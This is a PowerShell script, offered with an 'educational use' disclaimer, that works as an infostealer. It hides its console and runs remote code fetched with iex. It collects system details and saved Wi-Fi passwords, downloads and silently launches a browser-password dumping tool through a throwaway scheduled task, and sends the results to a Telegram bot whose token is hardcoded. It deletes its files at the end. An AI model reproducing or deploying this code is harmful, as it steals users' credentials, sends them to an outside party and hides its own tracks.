# --- Author: zetod1ce (github.com/ztd38f) --- # # --- DISCLAIMER: Provided as-is, without warranties. For educational and testing use only in controlled environments. Use at your own risk. --- # # -- Hide Console -- # function WinHide ($flag = $false) { $v = if ($flag) {0} else {1} Add-Type 'using System;using System.Runtime.InteropServices;public class H{[DllImport("kernel32.dll")]public static extern IntPtr GetConsoleWindow();[DllImport("user32.dll")]public static extern bool ShowWindow(IntPtr hWnd,int nCmdShow);}' [H]::ShowWindow([H]::GetConsoleWindow(),$v)>$null }; WinHide # -- Sync CLI Vars -- # iex (irm -useb sync-clivars.pages.dev) # --- Preparation For Working With The Telegram API --- # $token = "8768490649:AAEjqXRmGwaP2l-pWfzF_OJVl-hJ_kEfPmE" $chat_id = "-1002411530510" $url = "https://api.telegram.org/bot$token" function Post-Message ([string]$msg){irm -useb "$url/sendMessage" -Method POST -Body @{chat_id = $chat_id; text = $msg} >$null} function Post-File ([string]$file){curl.exe -F chat_id="$chat_id" -F document=@"$file" "$url/sendDocument" >$null} # --- System Information Gathering & Sending --- # $user = whoami $ip = irm -useb ipinfo.io/ip $model = (Get-CimInstance CIM_ComputerSystem).Model $email = (Get-ComputerInfo).WindowsRegisteredOwner $winver = (Get-WmiObject win32_operatingsystem).Caption+" "+(Get-WmiObject win32_operatingsystem).Version $lng = (Get-WinSystemLocale).Name $proc = (Get-WmiObject Win32_Processor).Name.trim() $gpu = (Get-WmiObject Win32_VideoController).Name $ram = Get-WmiObject Win32_PhysicalMemory | Measure-Object -Property capacity -Sum |% {"{0:N1} GB" -f ($_.sum/1GB)} $disk = (Get-PhysicalDisk).FriendlyName $diskpart = (Get-WmiObject Win32_LogicalDisk |% {"$($_.FileSystem)/$($_.DeviceID) ($($_.VolumeName)) {0:N1}/{1:N1} [{2:N1}%]`n" -f (($_.Size-$_.FreeSpace)/1GB), ($_.Size/1GB), ((100*($_.Size-$_.FreeSpace))/$_.Size)}).trim() $wifi = netsh wlan show profiles |? {$_ -match ':\s'} |% {$p=$_.Split(':')[1].Trim();if ($p){"$p [$((netsh wlan show profile name="$p" key=clear |? {$_ -like '*content*'} |% {$_.Split(':')[1].Trim()}))]"}} $info = @" $user [$ip] [$model] $email $winver | $lng $proc | $gpu | $ram $disk `n$($diskpart -join "`n") `n$($wifi -join "`n") "@ Post-Message $info # --- Browser Passwords Gathering & Sending --- # # -- Base64 Encoder / Decoder Function -- # function b64($i,$f){if ($f){[IO.File]::WriteAllBytes($f,[Convert]::FromBase64String($i))}else{[Convert]::ToBase64String([IO.File]::ReadAllBytes($i))}} b64 (irm -useb https://gist.github.com/ZTD38F/f2cf029bb9e4ff7534e19b5038044b01/raw/B64_WebPasswordView) "$env:temp\wbpv.exe" schtasks /create /tn WebPwd /tr "$env:systemroot\System32\conhost.exe --headless '$env:systemroot\System32\cmd.exe' /c start '' '$env:temp\wbpv.exe' /stext '$env:temp\WebPwd.txt'" /sc once /st 00:00 /ru $env:username /f schtasks /run /tn WebPwd; schtasks /delete /tn WebPwd /f >$null 2>&1 while (!(Test-Path "$env:temp\WebPwd.txt")) {sleep 1} Post-File "$env:temp\WebPwd.txt" rd "$env:temp\wbpv.exe","$env:temp\WebPwd.txt" -force exit